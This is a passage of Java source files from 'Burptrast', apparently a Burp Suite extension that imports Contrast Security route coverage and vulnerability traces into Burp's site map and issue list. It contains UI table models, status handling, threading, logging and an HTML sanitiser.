com.contrastsecurity.models.StoryResponse; 11 | import com.contrastsecurity.models.Trace; 12 | 13 | import javax.swing.table.DefaultTableModel; 14 | import java.io.File; 15 | import java.util.ArrayList; 16 | 17 | import java.util.HashMap; 18 | import java.util.List; 19 | import java.util.Map; 20 | import java.util.Optional; 21 | import java.util.Set; 22 | 23 | public class DataModel { 24 | 25 | private final Map> routeCoverageMap = new HashMap<>(); 26 | private final List vulnRequests = new ArrayList<>(); 27 | 28 | private File credsFile; 29 | 30 | private List tsCreds = new ArrayList<>(); 31 | 32 | private final Map appNameIDMap = new HashMap<>(); 33 | private final List traces = new ArrayList<>(); 34 | private final Map formattedDateMap = new HashMap<>(); 35 | 36 | private DefaultTableModel routeTableModel; 37 | 38 | private DefaultTableModel traceTableModel; 39 | 40 | private final Map appToServerMap = new HashMap<>(); 41 | 42 | private final Map traceIDStoryMap = new HashMap<>(); 43 | 44 | private final Map> nonRequestPathVulnMap = new HashMap<>(); 45 | 46 | 47 | 48 | private SortType sortType = SortType.SORT_BY_NAME; 49 | 50 | 51 | private List applications = new ArrayList<>(); 52 | 53 | private boolean isLiveBrowseEnabled = false; 54 | 55 | private BrowseVulnCheckThread browseCheckThread; 56 | 57 | private CorrelationIDAppender correlationIDAppender; 58 | 59 | private ThreadManager threadManager; 60 | 61 | private Status status; 62 | 63 | public DataModel() {} 64 | 65 | public void clearData() { 66 | routeCoverageMap.clear(); 67 | vulnRequests.clear(); 68 | traces.clear(); 69 | formattedDateMap.clear(); 70 | clearRouteTable(); 71 | clearTraceTable(); 72 | traceIDStoryMap.clear(); 73 | nonRequestPathVulnMap.clear(); 74 | } 75 | 76 | /** 77 | * Clears the Route Table, called when a new application is selected in the application drop down. 78 | */ 79 | public void clearRouteTable() { 80 | if(routeTableModel!=null) { 81 | routeTableModel.setRowCount(0); 82 | } 83 | } 84 | 85 | /** 86 | * Clears the Trace Table. This is called when a new Application is selected in the Application drop down. 87 | */ 88 | public void clearTraceTable() { 89 | if(traceTableModel!=null) { 90 | traceTableModel.setRowCount(0); 91 | } 92 | } 93 | 94 | public Map> getRouteCoverageMap() { 95 | return routeCoverageMap; 96 | } 97 | 98 | public List getVulnRequests() { 99 | return vulnRequests; 100 | } 101 | 102 | public File getCredsFile() { 103 | return credsFile; 104 | } 105 | 106 | public void setCredsFile(File credsFile) { 107 | this.credsFile = credsFile; 108 | } 109 | 110 | public Map getAppNameIDMap() { 111 | return appNameIDMap; 112 | } 113 | 114 | public List getTraces() { 115 | return traces; 116 | } 117 | 118 | public Map getFormattedDateMap() { 119 | return formattedDateMap; 120 | } 121 | 122 | public DefaultTableModel getRouteTableModel() { 123 | return routeTableModel; 124 | } 125 | 126 | public void setRouteTableModel(DefaultTableModel routeTableModel) { 127 | this.routeTableModel = routeTableModel; 128 | } 129 | 130 | public DefaultTableModel getTraceTableModel() { 131 | return traceTableModel; 132 | } 133 | 134 | public void setTraceTableModel(DefaultTableModel traceTableModel) { 135 | this.traceTableModel = traceTableModel; 136 | } 137 | 138 | public Map getAppToServerMap() { 139 | return appToServerMap; 140 | } 141 | 142 | public SortType getSortType() { 143 | return sortType; 144 | } 145 | 146 | public void setSortType(SortType sortType) { 147 | this.sortType = sortType; 148 | } 149 | 150 | 151 | public List getApplications() { 152 | return applications; 153 | } 154 | 155 | public void setApplications(List applications) { 156 | this.applications = applications; 157 | } 158 | 159 | public Map getTraceIDStoryMap() { 160 | return traceIDStoryMap; 161 | } 162 | 163 | public Map> getNonRequestPathVulnMap() { 164 | return nonRequestPathVulnMap; 165 | } 166 | 167 | public boolean isLiveBrowseEnabled() { 168 | return isLiveBrowseEnabled; 169 | } 170 | 171 | public void setLiveBrowseEnabled(boolean liveBrowseEnabled) { 172 | isLiveBrowseEnabled = liveBrowseEnabled; 173 | } 174 | 175 | public BrowseVulnCheckThread getBrowseCheckThread() { 176 | return browseCheckThread; 177 | } 178 | 179 | public void setBrowseCheckThread(BrowseVulnCheckThread browseCheckThread) { 180 | this.browseCheckThread = browseCheckThread; 181 | } 182 | 183 | public CorrelationIDAppender getCorrelationIDAppender() { 184 | return correlationIDAppender; 185 | } 186 | 187 | public void setCorrelationIDAppender(CorrelationIDAppender correlationIDAppender) { 188 | this.correlationIDAppender = correlationIDAppender; 189 | } 190 | 191 | public ThreadManager getThreadManager() { 192 | return threadManager; 193 | } 194 | 195 | public void setThreadManager(ThreadManager threadManager) { 196 | this.threadManager = threadManager; 197 | } 198 | 199 | public Status getStatus() { 200 | return status; 201 | } 202 | 203 | public void setStatus(Status status) { 204 | this.status = status; 205 | } 206 | 207 | public List getTsCreds() { 208 | return tsCreds; 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /src/main/java/burp/EditableHeaderRenderer.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | import javax.swing.table.JTableHeader; 5 | import javax.swing.table.TableCellRenderer; 6 | import java.awt.*; 7 | import java.awt.event.MouseAdapter; 8 | import java.awt.event.MouseEvent; 9 | 10 | public class EditableHeaderRenderer implements TableCellRenderer { 11 | 12 | private JTable table = null; 13 | private MouseEventReposter reporter = null; 14 | private JComponent editor; 15 | 16 | EditableHeaderRenderer(JComponent editor) { 17 | this.editor = editor; 18 | this.editor.setBorder(UIManager.getBorder("TableHeader.cellBorder")); 19 | } 20 | 21 | @Override 22 | public JComponent getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { 23 | if (table != null && this.table != table) { 24 | this.table = table; 25 | final JTableHeader header = table.getTableHeader(); 26 | if (header != null) { 27 | this.editor.setForeground(header.getForeground()); 28 | this.editor.setBackground(header.getBackground()); 29 | this.editor.setFont(header.getFont()); 30 | reporter = new MouseEventReposter(header, col, this.editor); 31 | header.addMouseListener(reporter); 32 | } 33 | } 34 | 35 | if (reporter != null) reporter.setColumn(col); 36 | 37 | return this.editor; 38 | } 39 | 40 | static public class MouseEventReposter extends MouseAdapter { 41 | 42 | private Component dispatchComponent; 43 | private JTableHeader header; 44 | private int column = -1; 45 | private Component editor; 46 | 47 | public MouseEventReposter(JTableHeader header, int column, Component editor) { 48 | this.header = header; 49 | this.column = column; 50 | this.editor = editor; 51 | } 52 | 53 | public void setColumn(int column) { 54 | this.column = column; 55 | } 56 | 57 | private void setDispatchComponent(MouseEvent e) { 58 | int col = header.getTable().columnAtPoint(e.getPoint()); 59 | if (col != column || col == -1) return; 60 | 61 | Point p = e.getPoint(); 62 | Point p2 = SwingUtilities.convertPoint(header, p, editor); 63 | dispatchComponent = SwingUtilities.getDeepestComponentAt(editor, p2.x, p2.y); 64 | } 65 | 66 | private boolean repostEvent(MouseEvent e) { 67 | if (dispatchComponent == null) { 68 | return false; 69 | } 70 | MouseEvent e2 = SwingUtilities.convertMouseEvent(header, e, dispatchComponent); 71 | dispatchComponent.dispatchEvent(e2); 72 | return true; 73 | } 74 | 75 | @Override 76 | public void mousePressed(MouseEvent e) { 77 | if (header.getResizingColumn() == null) { 78 | Point p = e.getPoint(); 79 | 80 | int col = header.getTable().columnAtPoint(p); 81 | if (col != column || col == -1) return; 82 | 83 | int index = header.getColumnModel().getColumnIndexAtX(p.x); 84 | if (index == -1) return; 85 | 86 | editor.setBounds(header.getHeaderRect(index)); 87 | header.add(editor); 88 | editor.validate(); 89 | setDispatchComponent(e); 90 | repostEvent(e); 91 | } 92 | } 93 | 94 | @Override 95 | public void mouseReleased(MouseEvent e) { 96 | repostEvent(e); 97 | dispatchComponent = null; 98 | header.remove(editor); 99 | } 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /src/main/java/burp/NonEditableTableModel.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.table.DefaultTableModel; 4 | 5 | public class NonEditableTableModel extends DefaultTableModel { 6 | 7 | @Override 8 | public boolean isCellEditable(int row, int column) { 9 | return false; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/main/java/burp/ParentTab.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.Logger; 4 | 5 | import javax.swing.*; 6 | import java.awt.*; 7 | import java.io.PrintWriter; 8 | 9 | public class ParentTab implements ITab{ 10 | 11 | 12 | private final IBurpExtenderCallbacks callbacks; 13 | 14 | public ParentTab(IBurpExtenderCallbacks callbacks) { 15 | this.callbacks = callbacks; 16 | } 17 | 18 | @Override 19 | public String getTabCaption() { 20 | return "Burptrast"; 21 | } 22 | 23 | @Override 24 | public Component getUiComponent() { 25 | Logger logger = new Logger( new PrintWriter(callbacks.getStdout(), true), 26 | new PrintWriter(callbacks.getStderr(), true) 27 | ); 28 | DataModel dm = new DataModel(); 29 | JTabbedPane tabbedPane = new JTabbedPane(); 30 | CredentialsTab credentialsTab = new CredentialsTab(callbacks,dm,logger); 31 | ContrastTab contrastTab = new ContrastTab(callbacks,dm,logger); 32 | tabbedPane.addTab("Credentials",credentialsTab.getUiComponent()); 33 | tabbedPane.addTab("Contrast",contrastTab.getUiComponent()); 34 | return tabbedPane; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/burp/PathTracePair.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrastsecurity.models.Trace; 4 | 5 | public class PathTracePair { 6 | private String path; 7 | private Trace trace; 8 | 9 | public PathTracePair(String path, Trace trace) { 10 | this.path = path; 11 | this.trace = trace; 12 | } 13 | 14 | public String getPath() { 15 | return path; 16 | } 17 | 18 | public Trace getTrace() { 19 | return trace; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/burp/PortResolver.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | 5 | public class PortResolver { 6 | 7 | public static int getPort() { 8 | String textPort = Components.getPortNumberField().getText(); 9 | if(textPort==null||textPort.isEmpty()) { 10 | String protocol = Components.getProtocolCombo().getSelectedItem().toString(); 11 | if(protocol.equals("http")) { 12 | return 80; 13 | } else { 14 | return 443; 15 | } 16 | } 17 | return Integer.parseInt(textPort); 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/burp/RouteTable.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | 5 | public class RouteTable extends JTable { 6 | 7 | @Override 8 | public Class getColumnClass(int column) { 9 | switch (column) { 10 | case 0: 11 | return Boolean.class; 12 | default: 13 | return String.class; 14 | } 15 | } 16 | @Override 17 | public boolean isCellEditable(int row, int column) { 18 | return column == 0; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/burp/RouteTableComparator.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.Comparator; 4 | 5 | public class RouteTableComparator implements Comparator { 6 | 7 | private final DataModel dataModel; 8 | 9 | public RouteTableComparator(DataModel dataModel) { 10 | this.dataModel = dataModel; 11 | } 12 | 13 | @Override 14 | public int compare(Object o1, Object o2) { 15 | long oneLong = getTimeStampFromDate(o1); 16 | long twoLong = getTimeStampFromDate(o2); 17 | if(oneLong>twoLong) { 18 | return 1; 19 | } else if(oneLong trace; 26 | private final Logger logger; 27 | private final StoryResponse response; 28 | private final TSCreds creds; 29 | private final String orgID; 30 | private final String appID; 31 | 32 | public ScanIssue(IHttpRequestResponse requestResponse, Optional trace, Logger logger, StoryResponse response, TSCreds creds, String orgID, String appID) { 33 | this.requestResponse = requestResponse; 34 | this.trace = trace; 35 | this.logger = logger; 36 | this.response = response; 37 | this.creds = creds; 38 | this.orgID = orgID; 39 | this.appID = appID; 40 | } 41 | 42 | @Override 43 | public URL getUrl() { 44 | try { 45 | return new RequestResponseGenerator().getURLFromHttpReq(requestResponse); 46 | } catch (MalformedURLException ex) { 47 | throw new RuntimeException(ex); 48 | } 49 | } 50 | 51 | @Override 52 | public String getIssueName() { 53 | if(trace.isPresent()) { 54 | return trace.get().getTitle()+" : Found by Assess"; 55 | } else { 56 | return "Unknown"; 57 | } 58 | 59 | } 60 | 61 | @Override 62 | public int getIssueType() { 63 | String id = "UNKNOWN"; 64 | if(trace.isPresent()) { 65 | id = trace.get().getRule(); 66 | } 67 | return IssueTypeMapper.getIssueType(id,logger).getBurpType(); 68 | } 69 | 70 | @Override 71 | public String getSeverity() { 72 | if(trace.isPresent()) { 73 | return SeverityMapper.getMappingForContrast(trace.get().getSeverity()).getBurpSeverity(); 74 | } else { 75 | return "Note"; 76 | } 77 | } 78 | 79 | @Override 80 | public String getConfidence() { 81 | if(trace.isPresent()) { 82 | return ConfidenceMapper.getMappingForContrast(trace.get().getLikelihood()).getBurpConfidence(); 83 | } else { 84 | return "Tentative"; 85 | } 86 | } 87 | 88 | @Override 89 | public String getIssueBackground() { 90 | if(response!=null&& response.getStory()!=null&& response.getStory().getRisk()!=null&& response.getStory().getRisk().getText()!=null) { 91 | return response.getStory().getRisk().getText(); 92 | } else { 93 | return null; 94 | } 95 | } 96 | 97 | @Override 98 | public String getRemediationBackground() { 99 | return null; 100 | } 101 | 102 | @Override 103 | public String getIssueDetail() { 104 | StringBuilder msg = new StringBuilder(); 105 | if(trace.isPresent()) { 106 | String vulnTSURL = new TSVulnLinkGenerator().getURLAHref(creds.getUrl(),orgID,appID,trace.get().getUuid()); 107 | msg.append(vulnTSURL+"
"); 108 | 109 | } 110 | if(response!=null&&response.getStory()!=null&& response.getStory().getChapters()!=null) { 111 | for(Chapter chapter : response.getStory().getChapters()) { 112 | msg.append(""); 113 | if(chapter.getType()!=null) { 114 | if(chapter.getType().equals("properties")) { 115 | msg.append("source"); 116 | } else { 117 | msg.append(chapter.getType()); 118 | } 119 | msg.append(""); 120 | msg.append("
"); 121 | } 122 | if(chapter.getIntroText()!=null) { 123 | msg.append(chapter.getIntroText()); 124 | msg.append("
"); 125 | } 126 | if(chapter.getBody()!=null) { 127 | msg.append(chapter.getBody()); 128 | msg.append("
"); 129 | } 130 | } 131 | } 132 | return new HTMLSanitiser().sanitiseHTML(msg.toString()); 133 | } 134 | 135 | 136 | @Override 137 | public String getRemediationDetail() { 138 | return trace.map(value -> new TSVulnLinkGenerator().getRemediationLink(creds.getUrl(), orgID, appID, value.getUuid())).orElse(null); 139 | } 140 | 141 | @Override 142 | public IHttpRequestResponse[] getHttpMessages() { 143 | return new IHttpRequestResponse[]{requestResponse}; 144 | } 145 | 146 | @Override 147 | public IHttpService getHttpService() { 148 | return requestResponse.getHttpService(); 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /src/main/java/burp/SiteMapImporter.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.HttpService; 4 | import com.contrast.Logger; 5 | import com.contrast.RequestResponseGenerator; 6 | import com.contrast.TSCreds; 7 | import com.contrast.TSReader; 8 | import com.contrast.model.Route; 9 | import com.contrast.model.RouteCoverage; 10 | import com.contrast.model.RouteCoverageObservationResource; 11 | import com.contrast.model.Routes; 12 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse; 13 | import com.contrastsecurity.exceptions.ContrastException; 14 | import com.contrastsecurity.models.Chapter; 15 | import com.contrastsecurity.models.HttpRequestResponse; 16 | import com.contrastsecurity.models.Story; 17 | import com.contrastsecurity.models.StoryResponse; 18 | import com.contrastsecurity.models.Trace; 19 | 20 | import java.io.IOException; 21 | import java.util.ArrayList; 22 | import java.util.List; 23 | import java.util.Optional; 24 | 25 | public class SiteMapImporter { 26 | 27 | private final DataModel dataModel; 28 | private final IBurpExtenderCallbacks callbacks; 29 | private final Logger logger; 30 | 31 | private final TSReader reader; 32 | 33 | public SiteMapImporter(DataModel dataModel, IBurpExtenderCallbacks callbacks, Logger logger, TSReader reader) { 34 | this.dataModel = dataModel; 35 | this.callbacks = callbacks; 36 | this.logger = logger; 37 | this.reader = reader; 38 | } 39 | 40 | public void importSiteMapToBurp(String orgID, String appName, String hostName, int port, String protocol, String appContext) { 41 | List matchedPaths = new ArrayList<>(); 42 | try { 43 | TSCreds creds = TSCreds.getSelectedCreds(dataModel.getTsCreds()); 44 | String appID = dataModel.getAppNameIDMap().get(appName); 45 | RequestResponseGenerator generator = new RequestResponseGenerator(); 46 | HttpService service = new HttpService(hostName, port, protocol); 47 | for (Route route : dataModel.getRouteCoverageMap().keySet()) { 48 | Optional routeCoverage = dataModel.getRouteCoverageMap().get(route); 49 | if (routeCoverage.isPresent()) { 50 | for (RouteCoverageObservationResource r : routeCoverage.get().getObservations()) { 51 | if (isRouteSelected(r)) { 52 | IHttpRequestResponse reqRes = generator.getReqResForRouteCoverage(r, service, appContext); 53 | callbacks.addToSiteMap(reqRes); 54 | List traces = getTraceForPath(generator.getNormalisedPath(appContext, r.getUrl()), orgID, reader); 55 | if (!traces.isEmpty()) { 56 | matchedPaths.add(generator.getNormalisedPath(appContext, r.getUrl())); 57 | for (Trace trace : traces) { 58 | if (dataModel.getTraceIDStoryMap().containsKey(trace.getUuid())) { 59 | ScanIssue scanIssue = new ScanIssue(reqRes, Optional.of(trace), 60 | logger, dataModel.getTraceIDStoryMap().get(trace.getUuid()), creds, orgID, appID); 61 | callbacks.addScanIssue(scanIssue); 62 | } 63 | } 64 | } 65 | } 66 | } 67 | } 68 | } 69 | for (TraceIDDecoractedHttpRequestResponse hreqRes : dataModel.getVulnRequests()) { 70 | if (isTraceSelected(hreqRes.getRequestResponse())) { 71 | Optional requestResponse = generator.getReqResForTrace(hreqRes.getRequestResponse(), service); 72 | if (requestResponse.isPresent()) { 73 | Optional trace = dataModel.getTraces().stream().filter(t -> t.getUuid().equals(hreqRes.getTraceID())).findFirst(); 74 | StoryResponse response = getStoryResponse(orgID, hreqRes.getTraceID(), reader); 75 | callbacks.addScanIssue(new ScanIssue(requestResponse.get(), trace, logger, response, creds, orgID, appID)); 76 | requestResponse.ifPresent(callbacks::addToSiteMap); 77 | } 78 | } 79 | } 80 | for (String path : dataModel.getNonRequestPathVulnMap().keySet()) { 81 | if (!matchedPaths.contains(path)) { 82 | IHttpRequestResponse reqRes = generator.getReqResForRouteCoverage(path, "", service, ""); 83 | reqRes.setComment("Found via Assess Vulnerability"); 84 | if(isNonRequestVulnSelected(path) ) { 85 | for (Trace trace : dataModel.getNonRequestPathVulnMap().get(path)) { 86 | ScanIssue scanIssue = new ScanIssue(reqRes, Optional.of(trace), 87 | logger, dataModel.getTraceIDStoryMap().get(trace.getUuid()), 88 | creds, orgID, appID); 89 | callbacks.addScanIssue(scanIssue); 90 | } 91 | } 92 | } 93 | } 94 | 95 | 96 | } catch (IOException | ContrastException ex) { 97 | logger.logException("Error occurred importing site map", ex); 98 | throw new RuntimeException(ex); 99 | } 100 | 101 | } 102 | 103 | 104 | private boolean isRouteSelected(RouteCoverageObservationResource routeCoverage) { 105 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) { 106 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1); 107 | String verb = (String) dataModel.getRouteTableModel().getValueAt(i, 2); 108 | if (routeCoverage.getVerb().equals(verb) && routeCoverage.getUrl().equals(path)) { 109 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0); 110 | } 111 | } 112 | return false; 113 | } 114 | 115 | private StoryResponse getStoryResponse(String orgID, String traceID, TSReader reader) throws IOException { 116 | if (!dataModel.getTraceIDStoryMap().containsKey(traceID)) { 117 | reader.getStory(orgID, traceID) 118 | .ifPresent(storyResponse -> dataModel.getTraceIDStoryMap().put(traceID, storyResponse) 119 | ); 120 | } 121 | return dataModel.getTraceIDStoryMap().get(traceID); 122 | } 123 | 124 | private List getTraceForPath(String path, String orgID, TSReader reader) throws IOException { 125 | List matchingTraces = new ArrayList<>(); 126 | for (Trace trace : dataModel.getTraces()) { 127 | StoryResponse response = getStoryResponse(orgID, trace.getUuid(), reader); 128 | Story story = response.getStory(); 129 | if (story.getChapters() != null) { 130 | Optional chapter = story.getChapters().stream().filter(chp -> "properties".equals(chp.getType())).findFirst(); 131 | if (chapter.isPresent() && chapter.get().getPropertyResources() != null && !chapter.get().getPropertyResources().isEmpty()) { 132 | String newPath = chapter.get().getPropertyResources().get(0).getName(); 133 | if (newPath.trim().equals(path.trim())) { 134 | matchingTraces.add(trace); 135 | } 136 | } 137 | } 138 | } 139 | return matchingTraces; 140 | } 141 | 142 | private Optional getVulnTableResult(HttpRequestResponse hreqRes) { 143 | if (hreqRes.getHttpRequest() != null) { 144 | String text = hreqRes.getHttpRequest().getText(); 145 | if (text.contains(" ") && text.contains(" HTTP")) { 146 | String verb = text.split(" ")[0]; 147 | String url = text.substring(text.indexOf(" ")).split(" HTTP")[0]; 148 | return Optional.of(new VulnTableResult(url, verb)); 149 | } 150 | } 151 | return Optional.empty(); 152 | } 153 | 154 | private boolean isNonRequestVulnSelected(String nonVulnPath) { 155 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) { 156 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1); 157 | if (nonVulnPath.trim().equals(path.trim())) { 158 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0); 159 | } 160 | } 161 | return false; 162 | } 163 | 164 | private boolean isTraceSelected(HttpRequestResponse hreqRes) { 165 | Optional vulnTableResult = getVulnTableResult(hreqRes); 166 | if (vulnTableResult.isPresent()) { 167 | for (int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) { 168 | String path = (String) dataModel.getRouteTableModel().getValueAt(i, 1); 169 | String verb = (String) dataModel.getRouteTableModel().getValueAt(i, 2); 170 | if (vulnTableResult.get().getUrl().trim().equals(path.trim()) && vulnTableResult.get().getVerb().equals(verb)) { 171 | return (boolean) dataModel.getRouteTableModel().getValueAt(i, 0); 172 | } 173 | } 174 | } 175 | return false; 176 | } 177 | 178 | 179 | } 180 | -------------------------------------------------------------------------------- /src/main/java/burp/Status.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | public enum Status { 4 | 5 | AWAITING_CREDENTIALS(" Awaiting Credentials "), 6 | READY(" Ready "), 7 | LOADING(" Loading "), 8 | ERROR(" Error "); 9 | 10 | private final String status; 11 | 12 | Status(String status) { 13 | this.status = status; 14 | } 15 | 16 | public String getStatus() { 17 | return status; 18 | } 19 | 20 | 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/burp/StatusUpdater.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | import javax.swing.*; 5 | import javax.swing.border.LineBorder; 6 | import javax.swing.border.TitledBorder; 7 | import java.awt.*; 8 | 9 | /** 10 | * Tracks the current status of Burptrast. Due to multiple threads updating the same underlying status it uses a simple 11 | * count to work out the status as a thread starts it calls updateStatus(LOADING), which increments the loadingCount. 12 | * When a subsequent call of updateStatus(READY) is made, it decrements the count. A count of 0 means ready and >0 means 13 | * loading. 14 | * When loading it will change the text of the status field int the UI to "loading" and disable all buttons. This 15 | * ensures we don't get into a weird state where halfway through processing traces, we change the underlying 16 | * application or org. 17 | * Once the status changes back to ready and therefore there are no running threads, the ui is reenabled. 18 | * 19 | */ 20 | public class StatusUpdater { 21 | 22 | private static final Object lock = new Object(); 23 | 24 | private static int loadingCount = 0; 25 | 26 | public static void updateStatus(Status status,DataModel dataModel) { 27 | synchronized (lock) { 28 | if(dataModel.getStatus()==null) { 29 | dataModel.setStatus(status); 30 | } 31 | if(status.equals(Status.ERROR)) { 32 | if(loadingCount>0) { 33 | loadingCount--; 34 | } 35 | Components.setButtons(true); 36 | setStatus(status,dataModel); 37 | setStatusBorder(Color.RED); 38 | } 39 | 40 | if(status.equals(Status.LOADING)) { 41 | loadingCount++; 42 | } 43 | if(status.equals(Status.READY)) { 44 | loadingCount--; 45 | } else if(status.equals((Status.AWAITING_CREDENTIALS))) { 46 | loadingCount--; 47 | } 48 | if(loadingCount>0) { 49 | Components.setButtons(false); 50 | setStatus(Status.LOADING,dataModel); 51 | setStatusBorder(Color.LIGHT_GRAY); 52 | } else if(status.equals(Status.READY)){ 53 | Components.setButtons(true); 54 | Components.getCredsFile().setEnabled(true); 55 | Components.getSaveCredsFile().setEnabled(true); 56 | setStatus(status,dataModel); 57 | setStatusBorder(Color.GREEN); 58 | } else if(status.equals(Status.AWAITING_CREDENTIALS)){ 59 | Components.getCredsFile().setEnabled(true); 60 | setStatus(status,dataModel); 61 | setStatusBorder(Color.LIGHT_GRAY); 62 | } 63 | } 64 | 65 | } 66 | 67 | private static void setStatus(Status status, DataModel dataModel) { 68 | dataModel.setStatus(status); 69 | Components.getStatusLabel().setText(status.getStatus()); 70 | Components.getStatusLabel().updateUI(); 71 | Components.getCredentialsStatusLabel().setText(status.getStatus()); 72 | Components.getCredentialsStatusLabel().updateUI(); 73 | 74 | } 75 | 76 | private static void setStatusBorder(Color color) { 77 | LineBorder lb = new LineBorder(color); 78 | Components.getCredentialsStatusPanel().setBorder( 79 | BorderFactory.createTitledBorder(lb, "Status", TitledBorder.CENTER, TitledBorder.TOP, null, null)); 80 | Components.getStatusPanel().setBorder( 81 | BorderFactory.createTitledBorder(lb, "Status", TitledBorder.CENTER, TitledBorder.TOP, null, null)); 82 | } 83 | 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/burp/ThreadManager.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.threads.StoppableThread; 4 | 5 | import java.util.ArrayList; 6 | import java.util.Collections; 7 | import java.util.List; 8 | import java.util.concurrent.Executors; 9 | import java.util.concurrent.ThreadPoolExecutor; 10 | 11 | public class ThreadManager implements IExtensionStateListener { 12 | 13 | 14 | private final ThreadPoolExecutor executor = 15 | (ThreadPoolExecutor) Executors.newFixedThreadPool(10); 16 | 17 | private static final Object lock = new Object(); 18 | 19 | private List threadList = Collections.synchronizedList(new ArrayList<>()); 20 | 21 | @Override 22 | public void extensionUnloaded() { 23 | synchronized (lock) { 24 | threadList.forEach(StoppableThread::notifyThread); 25 | } 26 | } 27 | 28 | public void addToThreadList(StoppableThread thread) { 29 | synchronized (lock) { 30 | threadList.add(thread); 31 | } 32 | } 33 | 34 | public ThreadPoolExecutor getExecutor() { 35 | return executor; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/burp/VulnTableResult.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | public class VulnTableResult { 4 | 5 | private String url; 6 | private String verb; 7 | 8 | public VulnTableResult(String url, String verb) { 9 | this.url = url; 10 | this.verb = verb; 11 | } 12 | 13 | public String getUrl() { 14 | return url; 15 | } 16 | 17 | public String getVerb() { 18 | return verb; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/HTMLSanitiser.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import org.owasp.html.HtmlPolicyBuilder; 4 | import org.owasp.html.PolicyFactory; 5 | 6 | /** 7 | * Used to sanitise the HTML. Burp already limits what HTML tags that can be rendered. But as we are only using 3 tags 8 | * br,b and a. 9 | * This sanitiser will remove any other HTML tags. This allows us to limit the risk of an XSS attack. 10 | */ 11 | public class HTMLSanitiser { 12 | 13 | public String sanitiseHTML(String html) { 14 | PolicyFactory policyBuilder = new HtmlPolicyBuilder() 15 | .allowAttributes("src").onElements("img") 16 | .allowAttributes("href").onElements("a") 17 | .allowStandardUrlProtocols() 18 | .allowElements( 19 | "a", "br", "b" 20 | ).toFactory(); 21 | return policyBuilder.sanitize(html); 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/HttpService.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import burp.IHttpService; 4 | 5 | public class HttpService implements IHttpService { 6 | 7 | private String host; 8 | private int port; 9 | private String protocol; 10 | 11 | 12 | public HttpService(String host, int port, String protocol) { 13 | this.host = host; 14 | this.port = port; 15 | this.protocol = protocol; 16 | } 17 | 18 | @Override 19 | public String getHost() { 20 | return host; 21 | } 22 | 23 | @Override 24 | public int getPort() { 25 | return port; 26 | } 27 | 28 | @Override 29 | public String getProtocol() { 30 | return protocol; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/Logger.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import java.io.PrintWriter; 4 | import java.util.Date; 5 | 6 | /** 7 | * Logger class, outputs to Burp's StdOut/StdErr. Which depending on how Burp is configured will appear in the Burp 8 | * Extension output tab, a log file on disk or to the Burp Process's console. 9 | * Where it is outputted is configured by Burp in the Extension tab. 10 | */ 11 | public class Logger { 12 | 13 | private final PrintWriter stdOut; 14 | private final PrintWriter stdErr; 15 | 16 | public Logger(PrintWriter stdOut, PrintWriter stdErr) { 17 | this.stdOut = stdOut; 18 | this.stdErr = stdErr; 19 | } 20 | 21 | public void logMessage(String message) { 22 | stdOut.println(getTimeStamp()+" : " +message); 23 | } 24 | 25 | private String getTimeStamp() { 26 | return new Date().toString(); 27 | } 28 | 29 | public void logError(String error) { 30 | stdErr.println(getTimeStamp()+" : " +error); 31 | } 32 | 33 | public void logException(String error, Exception e) { 34 | stdErr.println(getTimeStamp()+" : " +error); 35 | e.printStackTrace(stdErr); 36 | } 37 | 38 | 39 | 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/contrast/RequestResponse.java: -------------------------------------------------------------------------------- 1 | package com.contrast; 2 | 3 | import burp.IHttpRequestResponse; 4 | import burp.IHttpService; 5 | 6 | public class RequestResponse implements IHttpRequestResponse { 7 | private IHttpService service; 8 | private byte[] request; 9 | private byte[] response; 10 | private String comment; 11 | private String highlight; 12 | 13 | public RequestResponse(){} 14 | 15 | public RequestResponse(IHttpRequestResponse reqRos) { 16 | setComment(reqRos.getComment()); 17 | setHighlight(reqRos.getHighlight()); 18 | setHttpService(reqRos.getHttpService()); 19 | setRequest(reqRos.getRequest()); 20 | setResponse(reqRos.getResponse()); 21 | } 22 | 23 | 24 | @Override 25 | public byte[] getRequest() { 26 | return request; 27 